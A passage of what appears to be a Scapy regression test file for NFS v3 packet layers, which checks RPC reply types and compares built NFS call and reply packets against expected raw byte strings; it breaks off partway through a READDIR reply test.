RPC()/RPC_Reply()/LOOKUP_Reply() assert(pkt.mtype==1) pkt = RPC()/RPC_Reply()/ACCESS_Reply() assert(pkt.mtype==1) pkt = RPC()/RPC_Reply()/READLINK_Reply() assert(pkt.mtype==1) pkt = RPC()/RPC_Reply()/READ_Reply() assert(pkt.mtype==1) pkt = RPC()/RPC_Reply()/WRITE_Reply() assert(pkt.mtype==1) pkt = RPC()/RPC_Reply()/CREATE_Reply() assert(pkt.mtype==1) pkt = RPC()/RPC_Reply()/MKDIR_Reply() assert(pkt.mtype==1) pkt = RPC()/RPC_Reply()/SYMLINK_Reply() assert(pkt.mtype==1) pkt = RPC()/RPC_Reply()/REMOVE_Reply() assert(pkt.mtype==1) pkt = RPC()/RPC_Reply()/RMDIR_Reply() assert(pkt.mtype==1) pkt = RPC()/RPC_Reply()/RENAME_Reply() assert(pkt.mtype==1) pkt = RPC()/RPC_Reply()/LINK_Reply() assert(pkt.mtype==1) pkt = RPC()/RPC_Reply()/READDIR_Reply() assert(pkt.mtype==1) pkt = RPC()/RPC_Reply()/READDIRPLUS_Reply() assert(pkt.mtype==1) pkt = RPC()/RPC_Reply()/FSSTAT_Reply() assert(pkt.mtype==1) pkt = RPC()/RPC_Reply()/FSINFO_Reply() assert(pkt.mtype==1) pkt = RPC()/RPC_Reply()/PATHCONF_Reply() assert(pkt.mtype==1) pkt = RPC()/RPC_Reply()/COMMIT_Reply() assert(pkt.mtype==1) + Test Built Packets Against Raw Strings = Built NFS Calls vs Raw Strings pkt = GETATTR_Call( filehandle=File_Object( length=4, fh='file' ) ) assert bytes(pkt) == b'\x00\x00\x00\x04file' pkt = LOOKUP_Call( dir=File_Object( length=3, fh='DIR', fill='\x00' ), filename=Object_Name( length=4, _name='File' ) ) assert bytes(pkt) == b'\x00\x00\x00\x03DIR\x00\x00\x00\x00\x04File' pkt = FSINFO_Call( filehandle=File_Object( length=4, fh='file' ) ) assert bytes(pkt) == b'\x00\x00\x00\x04file' pkt = PATHCONF_Call( filehandle=File_Object( length=4, fh='file' ) ) assert bytes(pkt) == b'\x00\x00\x00\x04file' pkt = ACCESS_Call( filehandle=File_Object( length=4, fh='file', ), check_access='READ' ) assert bytes(pkt) == b'\x00\x00\x00\x04file\x00\x00\x00\x01' pkt = READDIRPLUS_Call( filehandle=File_Object( length=4, fh='file' ), cookie=0xffffffffffffffff, verifier=0xaaaaaaaaaaaaaaaa, dircount=512, maxcount=4096 ) assert bytes(pkt) == b'\x00\x00\x00\x04file\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x02\x00\x00\x00\x10\x00' pkt = WRITE_Call( filehandle=File_Object( length=4, fh='file', ), offset=0xffffffffffffffff, count=0xaaaaaaaa, stable='UNSTABLE', length=8, contents='\x00\x01\x02\x03\x04\x05\x06\x07' ) assert bytes(pkt) == b'\x00\x00\x00\x04file\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x08\x00\x01\x02\x03\x04\x05\x06\x07' pkt = COMMIT_Call( filehandle=File_Object( length=4, fh='file' ), offset=0xffffffffffffffff, count=0xaaaaaaaa ) assert bytes(pkt) == b'\x00\x00\x00\x04file\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa' pkt = SETATTR_Call( filehandle=File_Object( length=4, fh='file' ), attributes=Sattr3( set_mode='SET', mode=0o755, set_uid='SET', uid=1, set_gid='SET', gid=1, set_size='SET', size=0xffffffffffffffff, set_atime='CLIENT TIME', atime_s=0xffffffff, atime_ns=0xffffffff, set_mtime='CLIENT TIME', mtime_s=0xaaaaaaaa, mtime_ns=0xaaaaaaaa ), check=0xffffffff ) assert bytes(pkt) == b'\x00\x00\x00\x04file\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x02\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x02\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xff\xff\xff\xff' pkt = FSSTAT_Call( filehandle=File_Object( length=4, fh='file' ) ) assert bytes(pkt) == b'\x00\x00\x00\x04file' pkt = CREATE_Call( dir=File_Object( length=3, fh='DIR', fill='\x00' ), filename=Object_Name( length=4, _name='File' ), create_mode='EXCLUSIVE', verifier=0xffffffffffffffff ) assert bytes(pkt) == b'\x00\x00\x00\x03DIR\x00\x00\x00\x00\x04File\x00\x00\x00\x02\xff\xff\xff\xff\xff\xff\xff\xff' pkt = REMOVE_Call( dir=File_Object( length=3, fh='DIR', fill='\x00' ), filename=Object_Name( length=4, _name='File' ) ) assert bytes(pkt) == b'\x00\x00\x00\x03DIR\x00\x00\x00\x00\x04File' pkt = READDIR_Call( filehandle=File_Object( length=4, fh='file' ), cookie=0xffffffffffffffff, verifier=0xaaaaaaaaaaaaaaaa, count=0xabcdef12 ) assert bytes(pkt) == b'\x00\x00\x00\x04file\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xab\xcd\xef\x12' pkt = RENAME_Call( dir_from=File_Object( length=8, fh='DIR_FROM' ), name_from=Object_Name( length=9, _name='NAME_FROM', fill='\x00\x00\x00' ), dir_to=File_Object( length=6, fh='DIR_TO', fill='\x00\x00' ), name_to=Object_Name( length=7, _name='NAME_TO', fill='\x00' ) ) assert bytes(pkt) == b'\x00\x00\x00\x08DIR_FROM\x00\x00\x00\tNAME_FROM\x00\x00\x00\x00\x00\x00\x06DIR_TO\x00\x00\x00\x00\x00\x07NAME_TO\x00' pkt = LINK_Call( filehandle=File_Object( length=4, fh='file' ), link_dir=File_Object( length=8, fh='LINK_DIR' ), link_name=Object_Name( length=9, _name='LINK_NAME', fill='\x00\x00\x00' ) ) assert bytes(pkt) == b'\x00\x00\x00\x04file\x00\x00\x00\x08LINK_DIR\x00\x00\x00\tLINK_NAME\x00\x00\x00' pkt = RMDIR_Call( dir=File_Object( length=3, fh='DIR', fill='\x00' ), filename=Object_Name( length=4, _name='File' ) ) assert bytes(pkt) == b'\x00\x00\x00\x03DIR\x00\x00\x00\x00\x04File' pkt = READLINK_Call( filehandle=File_Object( length=4, fh='file' ) ) assert bytes(pkt) == b'\x00\x00\x00\x04file' pkt = READ_Call( filehandle=File_Object( length=4, fh='file' ), offset=0xffffffffffffffff, count=0xaaaaaaaa ) assert bytes(pkt) == b'\x00\x00\x00\x04file\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa' pkt = MKDIR_Call( dir=File_Object( length=3, fh='DIR', fill='\x00' ), dir_name=Object_Name( length=4, _name='DIR_NAME' ), attributes=Sattr3( set_mode='SET', mode=0o755, set_uid='SET', uid=1, set_gid='SET', gid=1, set_size='SET', size=0xffffffffffffffff, set_atime='CLIENT TIME', atime_s=0xffffffff, atime_ns=0xffffffff, set_mtime='CLIENT TIME', mtime_s=0xaaaaaaaa, mtime_ns=0xaaaaaaaa ) ) assert bytes(pkt) == b'\x00\x00\x00\x03DIR\x00\x00\x00\x00\x04DIR_NAME\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x02\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x02\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' pkt = SYMLINK_Call( dir=File_Object( length=3, fh='DIR', fill='\x00' ), dir_name=Object_Name( length=4, _name='DIR_NAME' ), attributes=Sattr3( set_mode='SET', mode=0o755, set_uid='SET', uid=1, set_gid='SET', gid=1, set_size='SET', size=0xffffffffffffffff, set_atime='CLIENT TIME', atime_s=0xffffffff, atime_ns=0xffffffff, set_mtime='CLIENT TIME', mtime_s=0xaaaaaaaa, mtime_ns=0xaaaaaaaa ), link_name=Object_Name( length=9, _name='LINK_NAME', fill='\x00\x00\x00' ) ) assert bytes(pkt) == b'\x00\x00\x00\x03DIR\x00\x00\x00\x00\x04DIR_NAME\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x02\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x02\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\tLINK_NAME\x00\x00\x00' = Built NFS Replies vs Raw Strings pkt = GETATTR_Reply( status=0, attributes=Fattr3( type='NF3DIR', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ) ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333' pkt = LOOKUP_Reply( status='NFS3_OK', filehandle=File_Object( length=4, fh='file' ), af_file=1, file_attributes=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), af_dir=1, dir_attributes=Fattr3( type='NF3DIR', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ) ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x04file\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333' pkt = FSINFO_Reply( status=0, attributes_follow=1, attributes=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), rtmax=1, rtpref=2, rtmult=3, wtmax=4, wtpref=5, wtmult=6, dtpref=7, maxfilesize=0xa, timedelta_s=0xb, timedelta_ns=0xc, properties=0xd ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00\x06\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x0b\x00\x00\x00\x0c\x00\x00\x00\r' pkt = PATHCONF_Reply( status=0, attributes_follow=1, attributes=Fattr3( type='NF3DIR', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), linkmax=1, name_max=2, no_trunc='YES', chown_restricted='YES', case_insensitive='YES', case_preserving='YES' ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01' pkt = ACCESS_Reply( status=0, attributes_follow=1, attributes=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), access_rights=10 ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\n' pkt = READDIRPLUS_Reply( status=0, attributes_follow=1, attributes=Fattr3( type='NF3DIR', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), verifier=0xa, value_follows=1, files=[ File_From_Dir_Plus( fileid=0xa, filename=Object_Name( length=5, _name='file1', fill='\x00\x00\x00' ), cookie=0xb, attributes_follow=1, attributes=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), handle_follows=1, filehandle=File_Object( length=3, fh='fh1', fill='\x00' ), value_follows=1 ), File_From_Dir_Plus( fileid=0xb, filename=Object_Name( length=5, _name='file2', fill='\x00\x00\x00' ), cookie=0xc, attributes_follow=1, attributes=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), handle_follows=1, filehandle=File_Object( length=3, fh='fh2', fill='\x00' ), value_follows=0 ) ], eof=1 ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x05file1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x01\x00\x00\x00\x03fh1\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x05file2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x01\x00\x00\x00\x03fh2\x00\x00\x00\x00\x00\x00\x00\x00\x01' pkt = WRITE_Reply( status=0, af_before=1, attributes_before=WCC_Attr( size=0xa, mtime_s=0xffffffff, mtime_ns=0xeeeeeeee, ctime_s=0xdddddddd, ctime_ns=0xcccccccc ), af_after=1, attributes_after=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), count=0xffffffff, committed='STABLE', verifier=0xffffffffffffffff ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\n\xff\xff\xff\xff\xee\xee\xee\xee\xdd\xdd\xdd\xdd\xcc\xcc\xcc\xcc\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\xff\xff\xff\xff\x00\x00\x00\x01\xff\xff\xff\xff\xff\xff\xff\xff' pkt = COMMIT_Reply( status=0, af_before=1, attributes_before=WCC_Attr( size=0xa, mtime_s=0xffffffff, mtime_ns=0xeeeeeeee, ctime_s=0xdddddddd, ctime_ns=0xcccccccc ), af_after=1, attributes_after=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), verifier=0xffffffffffffffff ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\n\xff\xff\xff\xff\xee\xee\xee\xee\xdd\xdd\xdd\xdd\xcc\xcc\xcc\xcc\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\xff\xff\xff\xff\xff\xff\xff\xff' pkt = SETATTR_Reply( status=0, af_before=1, attributes_before=WCC_Attr( size=0xa, mtime_s=0xffffffff, mtime_ns=0xeeeeeeee, ctime_s=0xdddddddd, ctime_ns=0xcccccccc ), af_after=1, attributes_after=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ) ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\n\xff\xff\xff\xff\xee\xee\xee\xee\xdd\xdd\xdd\xdd\xcc\xcc\xcc\xcc\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333' pkt = FSSTAT_Reply( status=0, attributes_follow=1, attributes=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), tbytes=1, fbytes=2, abytes=3, tfiles=4, afiles=5, invarsec=6 ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x06' pkt = CREATE_Reply( status=0, handle_follows=1, filehandle=File_Object( length=4, fh='file' ), attributes_follow=1, attributes=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), af_before=1, dir_attributes_before=WCC_Attr( size=0xa, mtime_s=0xffffffff, mtime_ns=0xeeeeeeee, ctime_s=0xdddddddd, ctime_ns=0xcccccccc ), af_after=1, dir_attributes_after=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ) ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x04file\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\n\xff\xff\xff\xff\xee\xee\xee\xee\xdd\xdd\xdd\xdd\xcc\xcc\xcc\xcc\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333' pkt = REMOVE_Reply( status=0, af_before=1, attributes_before=WCC_Attr( size=0xa, mtime_s=0xffffffff, mtime_ns=0xeeeeeeee, ctime_s=0xdddddddd, ctime_ns=0xcccccccc ), af_after=1, attributes_after=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ) ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\n\xff\xff\xff\xff\xee\xee\xee\xee\xdd\xdd\xdd\xdd\xcc\xcc\xcc\xcc\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333' pkt = READDIR_Reply( status=0, attributes_follow=1, attributes=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, 